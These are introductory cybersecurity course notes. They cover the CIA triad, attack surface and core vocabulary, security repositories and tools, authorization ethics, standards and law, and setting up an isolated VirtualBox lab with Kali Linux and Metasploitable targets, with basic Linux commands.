CYBERSECURITY

Chapter 01: Introduction and Lab Set-up

Technical knowledge notes

Foundational concepts, distinctions, examples, security resources, and isolated-lab reference

Authorized use only: Security tools and intentionally vulnerable virtual machines must be used only within an explicitly authorized and isolated environment. Never test systems, accounts, or networks without permission.

Contents

Foundational map

Area	Core knowledge
Security engineering	Cyber incidents can produce physical, operational, and financial consequences. Security must be designed, maintained, monitored, and improved continuously.
Protected assets	Networks, systems and devices, programs and source code, and data in transit, at rest, and during processing.
Security goals	Confidentiality, integrity, and availability, supported by controls such as authentication, authorization, access control, encryption, physical security, backups, and redundancy.
Exposure analysis	Attack surfaces and attack vectors across network, software, physical-machine, and human paths; defense-in-depth reduces the effect of control failure.
Practical environment	Kali Linux, intentionally vulnerable Metasploitable targets, VirtualBox networking modes, and basic Linux commands for an isolated lab.

1. Security resources, tools, and responsible use

1.1 Security repositories and frameworks

Security repositories and frameworks do not store the same kind of information. Some catalog specific vulnerabilities, some categorize weakness patterns, some describe adversary behavior, and some organize application-security guidance.

Repository	Core purpose	Important distinction / example
CVE - Common Vulnerabilities and Exposures	Provides standardized identifiers for publicly disclosed vulnerability instances.	A CVE identifies a particular reported vulnerability, such as a flaw in a named product or version. It is an instance, not a general weakness class.
Exploit Database	Collects public exploit demonstrations and proof-of-concept material.	Useful for authorized research and validation. The existence of code does not grant permission to use it against a system.
CWE - Common Weakness Enumeration	Categorizes recurring software and hardware weakness types.	A CWE is a class or pattern, such as improper input validation. A CVE is a specific vulnerability instance that may belong to a CWE category.
MITRE ATT&CK Framework	Organizes adversary tactics and techniques observed in real operations.	Useful for thinking about attacker behavior, detection opportunities, and defensive coverage across stages of an intrusion.
OWASP - Open Worldwide Application Security Project	Produces application-security guidance, testing resources, projects, and awareness material.	Commonly used for web and application security education, including risk categories and testing guidance.
CVE Details	A searchable website that aggregates vulnerability information and statistics.	Convenient for exploration; confirm important details using authoritative vendor advisories or the relevant canonical record.

1.2 Security tool catalog

Security tools serve different purposes. Discovery, validation, monitoring, virtualization, and analysis are distinct activities; no single tool solves every security problem.

Category	Tool	Purpose
Penetration testing	Nmap	Network discovery and service enumeration: identify hosts, ports, and exposed services in an authorized scope.
Penetration testing	Netcat	A small networking utility for sending or receiving data over network connections; useful for basic connectivity experiments in the lab.
Penetration testing	Metasploit Framework	A modular framework used in controlled security testing to organize auxiliary modules, payloads, exploits, and post-exploitation modules.
Penetration testing	Burp Suite [example: Burp Suit]	A web-application testing proxy used to observe and test HTTP(S) traffic in an authorized environment.
Penetration testing	Kali Linux Toolset	A Debian-based penetration-testing distribution that packages many assessment tools.
Penetration testing	Wireshark	A packet-analysis tool used to inspect network traffic for troubleshooting, protocol understanding, and security analysis.
Penetration testing	Scapy	A programmable packet-crafting and packet-analysis library, especially useful for advanced testing and research.
Penetration testing	Social-Engineer Toolkit (SET)	A framework for controlled social-engineering awareness and assessment scenarios. It requires strict authorization because it interacts with people and trust.
Vulnerability assessment	Nessus	A vulnerability scanner that checks systems for known weaknesses and configuration issues.
Vulnerability assessment	OpenVAS / Greenbone	An open vulnerability-management ecosystem used to scan and manage findings.
Vulnerability assessment	Rapid7 InsightVM (formerly Nexpose)	A vulnerability-management platform for asset discovery, assessment, and remediation tracking.
Virtualization	VirtualBox / VMware	Hypervisors used to run isolated virtual machines for safe training environments.
Vulnerable targets	Metasploitable 2 and Metasploitable 3	Intentionally vulnerable Linux and Windows training machines used only in isolated labs.
Firewall / IDS / IPS	Snort	A network intrusion detection and prevention tool that can inspect traffic and apply rules or signatures.
SIEM / XDR	Wazuh	A security monitoring platform that collects and correlates endpoint and security telemetry for detection and investigation.

Key distinction: Vulnerability assessment tools primarily discover and prioritize potential weaknesses. Penetration-testing tools are used in an authorized, controlled process to investigate whether weaknesses are actually exploitable and what impact they may have. Monitoring tools help detect suspicious activity during operation.

1.3 Ethical boundaries and authorization

Cybersecurity knowledge and tools must be used only with explicit authorization. Unauthorized access, manipulation, misuse of data, scanning, probing, or service disruption is prohibited. The operator remains responsible for actions and consequences.

Principle	Meaning in practice
Permission before testing	Do not scan, probe, access, modify, or stress a system unless the owner has explicitly authorized the work and the scope.
Scope control	Only use the agreed systems, accounts, time window, techniques, and lab network. A technically possible action can still be out of scope.
Minimize harm	Prefer non-destructive validation. Avoid actions that could affect availability, confidentiality, integrity, or third parties.
Protect evidence and data	Treat logs, credentials, screenshots, and discovered information as sensitive. Store and share them only as authorized.

Principle	Meaning in practice
Stop and report	If behavior is unexpected or risky, stop the test and escalate rather than improvising.
Personal responsibility	Tools do not remove accountability. The operator is responsible for actions and consequences.

Core principle: Ethical hacking is not defined by the tool being used; it is defined by authorization, agreed scope, controlled methods, harm minimization, and responsible reporting.

2. Why cybersecurity is necessary and where security fails

2.1 Real-world motivation: digital security has physical and operational consequences

Drone observations near critical infrastructure and military installations illustrate the connection between physical and digital security. Modern systems are cyber-physical, interconnected, and operationally important. A relevant statement is: "Drones do not only represent the warfare of the future. They are a crucial part of our present."

Further examples include a coordinated attack affecting 22 Danish energy firms, a cybersecurity incident involving a Danish water-infrastructure subsidiary, risk to water infrastructure from cybercrime, and Danish hosting providers losing customer data in a ransomware incident. Security failures can affect essential services, business continuity, and customer data.

Illustrative incident type	Primary CIA impact	Why the example matters
Drone activity around critical infrastructure	Availability and safety; potentially confidentiality	Security planning may need to consider physical access, surveillance, disruption, and cyber-physical dependencies.
Coordinated attacks on energy firms	Availability and integrity	A digital incident can disrupt essential infrastructure and create widespread operational risk.
Water-infrastructure incident	Availability, integrity, and safety	Industrial and public-service systems require protection beyond ordinary office IT.
Hosting-provider ransomware and data loss	Availability, confidentiality, and integrity	Customers depend on providers; backups, segmentation, recovery planning, and supplier risk matter.

2.2 The engineering problem: security must be designed in

Large annual cybercrime-loss estimates illustrate the scale of the problem. Cyber incidents can create financial loss, downtime, and loss of assets.

From a software-engineering perspective, quotes the idea that the cybersecurity crisis is a fundamental failure of architecture. Security is often considered too late. Adding controls after implementation can help, but it is more effective to include security requirements, trust boundaries, access controls, update strategy, logging, and failure handling during design.

Many security issues can be accidental or intentional. The available options include four broad causes:

- **Simple bugs** in software and firmware. A coding mistake or firmware defect can create unexpected behavior or a reachable weakness.
- **Misconfiguration** across systems and services. A secure product can become insecure if permissions, network exposure, default credentials, or settings are wrong.
- **Unintended side effects** caused by complexity and interconnectedness. A system can be secure in isolation but unsafe when combined with other components, dependencies, or network paths.
- **Human factors**, ranging from unintentional mistakes to malicious actions. People administer systems, click links, handle credentials, make design choices, and may become targets of manipulation.

2.3 Ways to counter the problem

Approach	Explanation	Simple example
Best practices and security policies	Documented expectations and repeatable procedures reduce avoidable mistakes. Policies translate goals into behavior.	Require MFA for privileged accounts and define how patches are reviewed and deployed.
Checks for known bad patterns	Look for known weaknesses, insecure configurations, suspicious behavior, or prohibited patterns.	Use code review, static analysis, vulnerability scanning, and rule-based monitoring.
Defense-in-depth	Use multiple layers so that a single failure does not immediately compromise the whole	Combine access control, network segmentation, patching, monitoring, backups,

Approach	Explanation	Simple example
	system.	and incident response.
Secure-by-design principles	Make security a design requirement from the beginning rather than a late add-on.	Minimize privileges, reduce exposed interfaces, validate inputs, and design safe defaults.
Training and awareness	Reduce mistakes and make users and administrators better able to recognize risky situations.	Phishing awareness, secure configuration training, and incident-reporting practice.
Experience and continuous learning	Threats, technologies, and dependencies evolve. Security work is iterative.	Review incidents, improve controls, update knowledge, and retest after changes.

2.4 Security activity map: risks and defense mechanisms

Major topic	Question it answers	Role in a security program
Vulnerability assessment	What weaknesses might exist?	Discover hosts, services, configurations, and known weaknesses; prioritize findings.
Penetration testing	Can an authorized tester demonstrate that a weakness is exploitable, and what is the impact?	Controlled ethical hacking, proof of concept, and reporting.
Threat modeling	What can go wrong, how might it happen, and what should be done about it?	Structured design-time and operational reasoning about threats and mitigations.
Security monitoring	What suspicious behavior or control failure can be observed during operation?	SIEM, firewalls, intrusion detection, and intrusion prevention.
Incident response	What should happen when a breach or suspected breach occurs?	Containment, investigation, communication, recovery, and improvement.
Hardening	How can exposure and weakness be reduced?	MFA, patches, updates, configuration improvements, least privilege, and reduction of attack surface.

3. Definition and scope of cybersecurity

3.1 Core definition

Core definition: Cybersecurity is the body of technologies, processes, and practices designed to protect networks, computers, programs, digital assets, and data - whether processed, stored, or in transit - from attack, damage, or unauthorized access.

The definition deliberately includes more than technology. A firewall or encryption algorithm is useful, but cybersecurity also requires processes such as patch management, access review, incident response, and training. It also protects more than data: networks, devices, software, firmware, and digital assets are part of the security problem.

A NIST-oriented formulation emphasizes measures and controls that ensure confidentiality, integrity, and availability of information-system assets, including hardware, software, firmware, and information being processed, stored, and communicated.

3.2 Information security and cybersecurity

The example visual places cybersecurity inside the wider area of information security. Information security is concerned with protecting information in any form and context. Cybersecurity focuses on digital systems, networks, software, devices, and electronically processed or communicated information. The areas overlap heavily, but information security can include non-digital records and organizational information-handling practices.

Concept	Scope	Example
Information security	Protection of information broadly, including digital and non-digital forms.	Protecting a paper personnel file, a database, and the process for sharing confidential reports.
Cybersecurity	Protection of digital systems, networks, software, devices, and data from attack, damage, or unauthorized access.	Protecting a server, network service, cloud workload, mobile device, and data transmitted over a network.

3.3 Why cybersecurity is increasingly necessary

This provides three reinforcing trends: increasing information sharing, increasing interconnectedness, and increasing vulnerabilities and exploits. When more systems exchange more data through more dependencies, a weakness in one component can have wider consequences. New features and integrations can also increase the number of paths an attacker may try to use.

The attack diagram on example 24 labels several examples. They are not identical; each represents a different method or outcome:

Example in example visual	Meaning	Typical CIA concern
Ransomware	Malware that disrupts access to systems or data, often through encryption and extortion.	Availability first; also confidentiality and integrity when data is stolen or altered.
Man-in-the-middle (MITM)	An attacker positions themselves between communicating parties to observe or manipulate communication.	Confidentiality and integrity.
Drive-by downloads	Malicious software is delivered or triggered when a user visits a compromised or malicious site.	Integrity of the device; potentially confidentiality and availability.
Malvertising	Malicious advertising content or redirection is used to expose users to scams or malware.	Integrity and confidentiality; sometimes availability.
Rogue software	Software that is malicious, deceptive, or unauthorized.	All three CIA goals depending on behavior.
DDoS	Distributed denial of service: many sources overwhelm a service or resource.	Availability.
Password attacks	Attempts to obtain, guess, reuse, or abuse credentials.	Confidentiality and integrity; potentially availability.
Phishing	Deceptive communication intended to make a person reveal information or take an unsafe action.	Confidentiality and integrity; potentially availability.
Malware	A broad category of malicious software, including many specialized forms.	Any or all CIA goals.

4. What to protect and the CIA triad

4.1 Assets: what must be protected?

Asset category	Description	Expanded interpretation
Networks	All networks that interconnect digital assets.	Includes local networks, wireless networks, internet links, VPNs, virtual networks, routing paths, and network services.
Systems and devices	All systems and devices connected to networks.	Includes servers, desktops, laptops, mobile devices, embedded devices, and operational technology.
Programs	All programs or source code that build systems connected to networks.	Includes applications, services, libraries, scripts, firmware, dependencies, configuration, and source-code repositories.
Data - most importantly	All data, whether in transit, at rest, or processed.	In transit means moving over a network; at rest means stored; processed means actively used in memory, applications, or computation.

The main categories are the primary unwanted outcomes as unauthorized access, modification, and deletion. These map naturally to the CIA triad: unauthorized disclosure threatens confidentiality, unauthorized modification threatens integrity, and deletion or disruption threatens availability.

4.2 CIA triad: the three central security goals

Goal	Definition	Question to ask	Examples of violation	Controls and useful extensions
Confidentiality	Prevent disclosure of information to unauthorized parties.	Who is allowed to see this information, and how is access limited?	An outsider reads customer records; credentials leak; traffic is intercepted.	Encryption, access control, authentication. Also least privilege, secure protocols, and careful data sharing.
Integrity	Protect information from unauthorized modification.	How do we detect or prevent unauthorized change?	A transaction is altered; code is modified; a configuration is changed	Digital signatures and checksums. Also authorization, audit logs,

Goal	Definition	Question to ask	Examples of violation	Controls and useful extensions
			without approval.	controlled updates, and validation.
Availability	Ensure authorized parties can access information and services when needed.	Can legitimate users obtain the required service reliably and recover from failure?	A service is overwhelmed by DDoS; ransomware blocks access; a disk failure destroys the only copy.	Computational redundancy, backups, and mitigation strategies. Also failover, capacity planning, recovery testing, and incident response.

The visual on example 27 also shows authentication, authorization, access control, encryption, and physical security. These concepts support the CIA triad but are not interchangeable:

Control concept	Meaning	Example
Authentication	Verify an identity or claimed identity.	Confirm that a user is the account owner using a password and MFA.
Authorization	Decide what an authenticated identity is allowed to do.	A student can read course material but cannot modify grades.
Access control	Enforce the authorization decision.	Permissions, roles, firewall rules, and application checks block disallowed actions.
Encryption	Transform readable data into protected form so that unauthorized parties cannot understand it without the key.	TLS for data in transit or disk encryption for data at rest.
Physical security	Prevent unauthorized physical access to systems and media.	Locked equipment rooms, device control, and secure disposal.

Important distinction: Authentication asks "Who are you?" Authorization asks "What are you allowed to do?" Access control is the mechanism that enforces the answer.

4.3 One scenario mapped across all three CIA goals

Consider a university file server. Confidentiality means only authorized students and staff can read the correct files. Integrity means a student cannot alter another student's submission or change system records. Availability means the server remains usable during deadlines and can be restored after failure. A complete security design uses multiple controls because one mechanism rarely protects every goal.

5. Where to begin a security review

A security review asks whether the involved technologies implement effective security measures. Start by identifying the technologies, the assets they handle, the paths by which they can be reached, and whether their controls are appropriate and maintained.

Technology area	Review prompts	Expanded review questions
Networks	Transmission security using secure protocols; access control.	Are sensitive communications encrypted? Are insecure protocols disabled? Are network boundaries, firewall rules, VPNs, and segmentation appropriate?
Desktop devices	OS fragmentation; timely security updates; licensed software.	Are operating systems supported and patched? Is software authorized, maintained, and obtained from trusted sources? Are privileges restricted?
Mobile devices	OS fragmentation; outdated hardware without security support; user devices in secure environments.	Do devices still receive security updates? Can personal devices access sensitive resources? Are screen locks, encryption, and remote-management controls appropriate?
Storage	Localized vs mobile; encrypted data; biometrics.	Where is data stored? Can removable media or laptops leave the premises? Is encryption enabled? Is access recovery planned if a device or biometric mechanism fails?

Review method: Do not ask only whether a security product exists. Ask whether the architecture, configuration, updates,

access rules, monitoring, recovery plan, and user behavior work together.

6. Attack surface, attack vectors, and access to a target

6.1 Attack surface: definition

Core definition: The attack surface is the sum of all points where an attacker could try to enter, interact with, or extract data from a system. It can also be described as the collection of attack vectors or endpoints that may be used to negatively affect resources or data.

An attack surface is not only a list of known vulnerabilities. It includes reachable interfaces, data-processing paths, exposed services, physical access opportunities, and human interaction points. A point becomes especially important when it is reachable and can be exploited or abused.

Concrete examples of reachable and exploitable areas include:

- Open ports on outward-facing web and other servers, and code listening on those ports.
- Services available on the inside of a firewall. Internal exposure still matters because an attacker or malicious insider may gain internal access.
- Code that processes incoming data, email, XML, office documents, and industry-specific custom data-exchange formats. Every parser is a possible input-validation boundary.
- Interfaces, SQL, and web forms. User-controlled input can reach application logic and databases.
- Employees with access to sensitive information who may be vulnerable to social engineering. People are part of the security model.

6.2 Attack vector vs attack surface

An attack vector is one route or method by which an attacker may try to reach or affect a target. The attack surface is the combined set of those vectors. example 32 summarizes the relationship as: attack surface = sum of attack vectors.

Path into or out of the system	Examples of vectors	Questions for the defender
Network	Exposed ports, remote services, wireless access, insecure protocols, and misconfigured firewall rules.	Which services are reachable? Which connections are required? Can the network be segmented or filtered?
Machine / physical access	Unlocked device, removable media, unattended workstation, or access to server rooms.	Can a person physically access, boot, connect to, or remove equipment?
Software	Web forms, APIs, parsers, dependencies, local applications, operating-system services, and update mechanisms.	What input is accepted? How is it validated? Which components are exposed and maintained?
Human	Phishing, impersonation, unsafe approvals, credential disclosure, and trusted insiders.	Which decisions depend on people? How can users verify requests and report suspicious behavior?

6.3 Categories highlighted in visual

Category	Interpretation	Expanded explanation
Network attack surface	Vulnerabilities over an enterprise network, wide-area network, or the internet; protocol weaknesses; DoS; disruption of communication links; intruder attacks.	Any reachable network path can expose services or create opportunities for interception, disruption, or unauthorized access.
Software attack surface	Vulnerabilities in application, utility, or operating-system code, with particular focus on web-server software.	Software transforms inputs into behavior. Bugs, insecure defaults, weak validation, and outdated components can become exploitable weaknesses.
Human attack surface	Vulnerabilities created by personnel or outsiders, such as social engineering, human error, and trusted insiders.	People hold credentials, make decisions, and operate systems. Controls must support safe decisions rather than assuming perfect behavior.

6.4 Attacker, operator, and designer perspectives

Actor	Goal	Security implication
Attacker	Expand the exposed interface.	Look for more reachable services, paths, users, and assumptions that can be abused.
Operator	Limit the surface open to attacks.	Disable unnecessary services, restrict access, segment networks, patch systems, monitor activity, and maintain recovery options.
Designer	Design the system according to operators' requirements.	Build secure defaults, least privilege, clear trust boundaries, safe input handling, manageable updates, and observable behavior into the architecture.

6.5 Defense-in-depth and attack-surface size

The risk matrix on example 33 combines two ideas: the size of the attack surface and the depth of security layering. A larger surface creates more opportunities. Deeper layering reduces the chance that one failed control immediately causes a serious incident.

Security layering	Attack surface	Risk level	Interpretation
Deep	Small	Low security risk	Preferred position: fewer exposed paths and several protective layers.
Deep	Large	Medium security risk	Layering helps, but a large number of paths still increases complexity and exposure.
Shallow	Small	Medium security risk	The system has fewer exposed paths, but a single control failure can be serious.
Shallow	Large	High security risk	Worst position: many exposed paths and insufficient backup layers.

Defense-in-depth: Use independent or complementary controls across layers. For example: reduce public exposure, patch systems, require strong authentication, restrict privileges, segment networks, monitor activity, maintain backups, and prepare incident response.

6.6 Access to the target

Depending on the type of access, no software vulnerability may be needed. Direct access can bypass assumptions. A person with physical access, valid credentials, or trusted internal access may reach sensitive resources without exploiting a coding bug.

The example also states that social engineering is often a first step. An attacker may send email to all employees or selected employees, with or without crafted attachments. The important lesson is that human interaction and identity verification must be treated as part of the attack surface and defended through awareness, verification procedures, reporting channels, attachment controls, and least privilege.

7. Core cybersecurity vocabulary

7.1 Definitions and relationships

Term	Definition	Expanded explanation
Risk	A measure of the extent to which an entity is threatened by a potential circumstance or event.	Risk considers the possibility and consequence of harm. It helps prioritize which problems deserve attention first.
Vulnerability	A weakness in a system.	A flaw, configuration issue, design weakness, or human/process weakness that could be abused.
Threat	A circumstance or event that has the potential to exploit a vulnerability.	The possibility of harmful action or occurrence. A threat can exist even before an actual attack happens.
Exploit	A method of taking advantage of a vulnerability.	A technique, procedure, or code path that uses the weakness to cause an unintended

Term	Definition	Expanded explanation
		effect.
Attack	An action that uses a threat to exploit a vulnerability.	The actual attempt or harmful action carried out against the target.
Patch	A fix for a vulnerability.	A software or firmware update intended to correct or reduce a weakness.
Countermeasure	A means of preventing an attack that tries to exploit one or more vulnerabilities.	A preventive, detective, corrective, or compensating control. It can reduce likelihood, reduce impact, or improve recovery.

7.2 One coherent example

Imagine an internet-facing service with an outdated component. The outdated component contains a vulnerability. The threat is that an attacker may target exposed services of this type. An exploit is a method that takes advantage of the specific weakness. An attack is the actual attempt to use that method against the service. The risk depends on factors such as exposure, likelihood, business importance, and possible impact. A patch corrects the component. Countermeasures may also include restricting network exposure, monitoring, least privilege, and backups so that protection does not depend on only one fix.

7.3 Do not confuse these pairs

Pair	Distinction
Threat vs vulnerability	A threat is a potential harmful circumstance or event. A vulnerability is the weakness that could be exploited.
Exploit vs attack	An exploit is the method. An attack is the actual use or attempted use of a method against a target.
Patch vs countermeasure	A patch fixes a vulnerability. A countermeasure is broader and may prevent, detect, limit, or recover from attacks.
Risk vs vulnerability	A vulnerability is a weakness. Risk reflects how much the weakness and related threats matter in context.
Attack vector vs attack surface	A vector is one path. The surface is the combined set of paths.

7.4 Core takeaways

- Security is a wide field.
- There is no silver bullet: one product or control cannot solve every security problem.
- Security work can be domain-specific: the important assets, failure modes, and controls differ between a web shop, a hospital, a mobile device, and industrial infrastructure.
- Security is iterative: assess, improve, monitor, respond, learn, and repeat.
- Procedures and best practices help make security work repeatable.

Security work can be framed with five questions: What do we want to protect? How should it be protected safely? Where and how can it be attacked? How can attacks be mitigated? What should happen when the worst case occurs?

8. Standards and legal issues

8.1 Standards organizations

Standards cover management practices and the overall architecture of security mechanisms and services. They create shared terminology, reusable controls, and expectations for organizations and system designers.

Organization	Role at an introductory level
NIST - National Institute of Standards and Technology	Publishes security guidance, frameworks, standards, and glossaries widely used in risk management and technical security practice.
ISOC - Internet Society	Supports the development and open use of the internet and the standards ecosystem surrounding internet technologies.
ITU-T - International Telecommunication Union Telecommunication Standardization Sector	Develops international telecommunications standards and recommendations.
ISO - International Organization for Standardization	Publishes international standards, including management-system and information-security standards used by organizations.

8.2 Legal and regulatory examples

The legal example is an introductory overview, not a complete legal syllabus. The applicable law depends on jurisdiction, organization, data type, and activity. The key lesson is that cybersecurity work takes place within legal and regulatory constraints. Authorization and data protection are not optional extras.

Item listed on example 38	Introductory explanation
Computer Security Act of 1987 & 1992	The example points to US federal computer-security legislation and its historical development. It is part of the historical legal context for government information-system security.
OMB Circular A-130	A US Office of Management and Budget circular addressing management of federal information resources, including security and privacy responsibilities.
State computer laws reference	The example points to a resource for US state computer laws. The principle is that legal obligations can vary by jurisdiction.
HIPAA - Health Insurance Portability and Accountability Act of 1996	A US law with important requirements related to protected health information. It illustrates that sensitive-sector data can be subject to specific obligations.
EU Data Protection Regulations - GDPR 2018	The General Data Protection Regulation governs personal-data processing in the EU/EEA context and has major implications for security, privacy, accountability, and incident handling.

Legal and ethical baseline: Never infer permission from technical access. A reachable service, a public IP address, a known vulnerability, or a publicly available exploit does not authorize testing.

9. Isolated VirtualBox lab set-up, Kali Linux, and Linux commands

9.1 Lab architecture

The lab architecture uses an intentionally vulnerable, virtualized environment. The tester machine is Kali Linux. The targets are Metasploitable 2 (Linux) and Metasploitable 3 (Windows). Everything is virtualized in VirtualBox. The screenshot on example 40 shows the three virtual machines in Oracle VirtualBox Manager.

Role	Machine	Purpose
Tester / attacker simulation	Kali Linux	A controlled toolbox for authorized assessment and learning.
Target / victim simulation	Metasploitable 2 (Linux)	An intentionally vulnerable Linux machine for isolated lab practice.
Target / victim simulation	Metasploitable 3 (Windows)	An intentionally vulnerable Windows machine for isolated lab practice.
Virtualization layer	VirtualBox	Runs the VMs and controls how they can communicate with the host, with one another, and with external networks.

Safety rule: Intentionally vulnerable targets should remain isolated. Do not expose Metasploitable machines to a public, bridged, campus, or production network unless the course explicitly requires and authorizes a controlled configuration.

9.2 VirtualBox networking modes

VirtualBox networking mode determines reachability. Reachability is a security control: it directly changes the attack surface. The following table compares the available networking modes.

Mode	VM <-> Host	VM1 <-> VM2	VM -> Internet	VM <- Internet	Interpretation for the lab
Host-only	Yes	Yes	No	No	A private local lab network. VMs can communicate with the host and with each other, but not with the internet.
Internal	No	Yes	No	No	A more isolated virtual network. Assigned VMs communicate with each other but not with the

Mode	VM <-> Host	VM1 <-> VM2	VM -> Internet	VM <- Internet	Interpretation for the lab
					host or internet.
Bridged	Yes	Yes	Yes	Yes	The VM becomes a node on the local network. This creates broad exposure and is risky for intentionally vulnerable targets.
NAT	No	No	Yes	Port forwarding	The VM is hidden behind the host for outbound internet access. The example states that VMs do not communicate with each other in this mode.
NAT Network	No	Yes	Yes	Port forwarding	A private virtual network with outbound internet access; assigned VMs can communicate with each other.

The explanatory bullets on example 41 can be summarized as follows:

- Host-only: limits VMs to a local private network; allows host-to-VM and VM-to-VM communication; neither sends nor receives internet traffic.
- Bridged: the VM is a node on the local network; packet sniffing on the host interface is possible; the VM has broad connectivity.
- Internal networking: VMs are assigned to a virtual private network and communicate within that isolated environment.
- NAT: the VM is hidden behind the host; traffic from the VM appears as if it came from the host; ordinary inbound access is not available unless port forwarding is configured.
- NAT Network: assigned VMs share a virtual private network, can communicate with each other, and appear externally through the host.

Typical safe choice: For vulnerable lab targets, Host-only or Internal networking is normally the safest conceptual starting point because it limits external exposure. Select a networking mode appropriate to the isolated scenario and verify it before starting a VM.

9.3 Kali Linux: what it is

Key point	Explanation
Linux distribution based on Debian	Kali inherits a Linux userland and package-management approach from the Debian ecosystem.
Designed for penetration testing	It packages many security-assessment tools in one environment. It is a toolbox, not a guarantee of security knowledge or authorization.
Open-source project	Its software and development are publicly available under open-source practices.
Maintained and funded by Offensive Security	The example identifies Offensive Security as the maintainer and funder.
Download the VirtualBox image from kali.org	Using the prepared VM image simplifies lab deployment. Verify the source and keep the tester VM updated.

9.4 Kali login, privilege use, and keyboard configuration

Since Kali release 2020.1, Kali follows a non-root user policy. The lab image uses the default username and password kali / kali; change the password after set-up.

Command	Meaning	Careful-use note
`sudo -i`	Start a root shell using sudo authorization.	Use elevated privileges only when necessary. A root shell can make system-wide changes.
`dpkg-reconfigure keyboard-configuration`	Permanently reconfigure keyboard settings.	Use when the VM keyboard layout does not match your physical keyboard.
`setxkbmap en_UK`	Temporarily switch the GUI keyboard layout at runtime.	Temporary layout adjustment; the exact layout identifier may depend on the installed environment.

Command	Meaning	Careful-use note
`setxkbmap dk`	Temporarily switch the GUI keyboard layout to Danish.	Useful when working from a Danish keyboard.

9.5 Updating Kali

Kali should be updated regularly because it is the tester toolbox. The intentionally vulnerable target machines should remain outdated as designed for the exercise. This contrast is important: update the assessment environment, but preserve the controlled vulnerabilities of the lab targets.

Command	Meaning	Careful-use note
`apt update`	Refresh package metadata from configured repositories.	Run before upgrading so the package manager knows which versions are available.
`apt full-upgrade`	Upgrade packages, allowing dependency changes when needed.	Use as root or with sudo; review prompts and keep the VM stable.
`apt autoremove`	Remove packages that are no longer required.	Use when suggested; review what will be removed.

Kali is not intended as an everyday desktop operating system. Treat it as a specialized penetration-testing toolbox.

9.6 Basic Linux commands

Command	Meaning	Careful-use note
`apt upgrade`	Upgrade installed packages using the package manager.	Package-management command; apt is the package manager.
`pwd`	Print the working directory.	Use it to confirm your current location before creating, moving, or deleting files.
`touch file`	Create an empty file or update its timestamp.	Useful for simple file-creation practice.
`vi file`	Open a low-bandwidth terminal text editor.	Vim offers increased comfort. Learn how to exit before editing important files.
`cp source destination`	Copy a file or directory when used with appropriate options.	Verify source and destination to avoid overwriting the wrong file.
`mv source destination`	Move or rename a file.	Can rename a file when source and destination are in the same directory.
`rm file`	Remove a file.	Deletion is normally irreversible from the terminal. Confirm the path first.
`rm -r directory`	Recursively remove a directory and its subdirectories.	High-risk command: confirm the exact path and use only on disposable lab files.
`grep string file`	Search for occurrences of a text string in one or more files.	Useful for logs, configuration files, and command output.
`strings file`	Extract printable strings from a binary file.	Useful as an initial inspection technique, not a complete analysis method.
`ip address`	Display network-interface and IP-address information.	Equivalent forms: ip addr and ip a.
`ip addr`	Display network-interface and IP-address information.	Shorter equivalent form.
`ip a`	Display network-interface and IP-address information.	Shortest equivalent form.

9.7 Lab readiness checklist

- Confirm that Kali Linux, Metasploitable 2, and Metasploitable 3 exist as separate VMs.
- Confirm the required VirtualBox networking mode before powering on intentionally vulnerable targets.
- Prefer an isolated private lab network for vulnerable targets; do not expose them to external networks without explicit course instructions.
- Change the default Kali password after set-up.
- Update Kali regularly using apt update and apt full-upgrade; use apt autoremove when appropriate.
- Keep the vulnerable targets in their intentionally outdated lab state.
- Use pwd and ip a early in a lab session to confirm your directory and network context.

- Record changes so that the VM environment can be restored or recreated if needed.

10. Compact knowledge reference

10.1 Core explanations

Define cybersecurity.

Cybersecurity is the body of technologies, processes, and practices used to protect networks, computers, programs, digital assets, and data - processed, stored, or in transit - from attacks, damage, and unauthorized access. It includes controls that support confidentiality, integrity, and availability across hardware, software, firmware, and information.

Explain the CIA triad with one control for each goal.

Confidentiality prevents unauthorized disclosure, for example through encryption and access control. Integrity prevents unauthorized modification, for example through signatures and checksums. Availability ensures that authorized users can access information and services when needed, for example through redundancy, backups, and mitigation strategies.

What is an attack surface?

An attack surface is the combined set of points where an attacker may try to enter, interact with, or extract data from a system. It is the sum of attack vectors, including network services, software interfaces and parsers, physical access points, and human interaction paths. Defenders reduce unnecessary exposure and apply defense-in-depth to the paths that remain necessary.

Differentiate risk, vulnerability, threat, exploit, and attack.

A vulnerability is a weakness. A threat is a potential circumstance or event that may exploit a weakness. An exploit is a method that takes advantage of the weakness. An attack is the actual attempt to use a method against a target. Risk expresses how much the possible circumstance or event threatens the entity in context, considering possible harm and likelihood.

Why is defense-in-depth important?

No single control is perfect. Defense-in-depth uses several complementary layers so that one failure does not immediately compromise the entire system. Examples include attack-surface reduction, secure configuration, patching, strong authentication, least privilege, segmentation, monitoring, backups, and incident response.

Why isolate intentionally vulnerable VMs?

Metasploitable targets deliberately contain weaknesses. Exposing them to external or production networks would enlarge the attack surface and could create risk to the host, other systems, and third parties. Host-only or Internal networking limits reachability and supports controlled learning.

10.2 Key distinctions

Concept pair	Distinction
Information security vs cybersecurity	Information security is broader; cybersecurity focuses on digital systems, networks, devices, software, and digital data.
Authentication vs authorization	Authentication verifies identity. Authorization decides permitted actions. Access control enforces the decision.
CVE vs CWE	CVE identifies a specific disclosed vulnerability instance. CWE categorizes a recurring weakness type.
Vulnerability assessment vs penetration testing	Assessment discovers and prioritizes potential weaknesses. Penetration testing uses an authorized controlled process to investigate exploitable weaknesses and impact.
Attack vector vs attack surface	A vector is one route or method. The surface is the combined set of routes and endpoints.
Patch vs countermeasure	A patch fixes a vulnerability. A countermeasure is any control that prevents, detects, limits, or helps recover from attacks.
NAT vs NAT Network	NAT gives a VM outbound access while the example states ordinary VM-to-VM communication is unavailable. NAT Network places assigned VMs on a shared private virtual network with outbound access.
Host-only vs Internal networking	Host-only allows host-to-VM and VM-to-VM communication. Internal networking allows VM-to-VM communication but isolates the host.

10.3 Consolidated summary

- Protect networks, systems and devices, programs and source code, and especially data in transit, at rest, and during processing.

- Think in CIA terms: confidentiality = no unauthorized disclosure; integrity = no unauthorized modification; availability = usable when needed.
- Security failures arise from bugs, misconfiguration, complexity, interconnectedness, and human factors.
- Use best practices, policies, known-bad-pattern checks, defense-in-depth, secure-by-design principles, training, and continuous learning.
- An attack surface includes network, physical-machine, software, and human paths. Reduce unnecessary paths and layer controls around necessary ones.
- A vulnerability is a weakness; a threat may exploit it; an exploit is a method; an attack is the actual action; a patch fixes a weakness; a countermeasure reduces attack success or impact; risk tells you how much the situation matters.
- Use security repositories correctly: CVE = specific vulnerability; CWE = weakness class; MITRE ATT&CK = adversary tactics and techniques; OWASP = application-security guidance and projects.
